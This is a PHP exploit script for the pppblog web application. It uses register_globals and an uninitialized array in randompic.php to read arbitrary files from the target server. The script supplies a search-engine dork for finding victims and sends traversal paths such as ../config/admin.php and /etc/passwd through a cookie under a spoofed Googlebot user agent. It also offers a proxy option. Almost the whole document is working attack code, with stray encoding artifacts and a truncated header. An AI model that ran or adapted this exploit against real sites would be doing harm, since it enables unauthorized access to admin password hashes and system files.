#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n\r\n";=0D 
echo "dork: intext:\"Powered by pppblog\"\r\n\r\n";=0D
/*=0D
works with:=0D
register_globals=On=0D
*/=0D
=0D
if ($argc<4) {=0D
echo "Usage: php ".$argv[0]." host path path_to_file OPTIONS\r\n";=0D
echo "host:         target server (ip/hostname)\r\n";=0D
echo "path:         path to pppblog\r\n";=0D
echo "path_to_file: a file which you want to see content of\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwd\r\n";=0D
echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81\r\n";=0D
echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80\r\n\r\n";=0D
die;=0D
}=0D
/* software site: http://joerg.jo.funpic.org/pppblog/static.php?page=welcome=0D 
=0D
vulnerable code in randompic.php at lines 66-68:=0D
...=0D
header("Content-Type: image/gif");=0D
header("Content-Transfer-Encoding: binary");=0D
readfile("$dir/$files[$randnum]");=0D
...=0D
=0D
if randompic.php is called directly, without arguments, $files array is=0D
not initialized, so , if register_globals = On, you can see all=0D
files on target server, according to open_basedir restrictions, poc:=0D
=0D
http://[target]/[path]/randompic.php?files[0]=../config/admin.php=0D 
=0D
now at screen you have ppp-blog admin username/password pair, crypted by=0D
crypt() php function=0D
									      */=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$path_to_file=$argv[3];=0D
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))=0D
{die("Check the path, it must begin and end with a trailing slash\r\n");}=0D
$port=80;=0D
$proxy="";=0D
for ($i=4; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}=0D 
=0D
$packet ="GET ".$p."randompic.php HTTP/1.0\r\n";=0D
$packet.="User-Agent: Googlebot/2.1\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: files[0]=".urlencode($path_to_file)."\r\n"; //through cookies, log this :)=0D
$packet.="Connection: Close\r\n\r\n";=0D
#debug=0D
#echo quick_dump($packet);=0D
sendpacketii($packet);=0D
echo $html;=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/pppblog_038_xpl.html=0D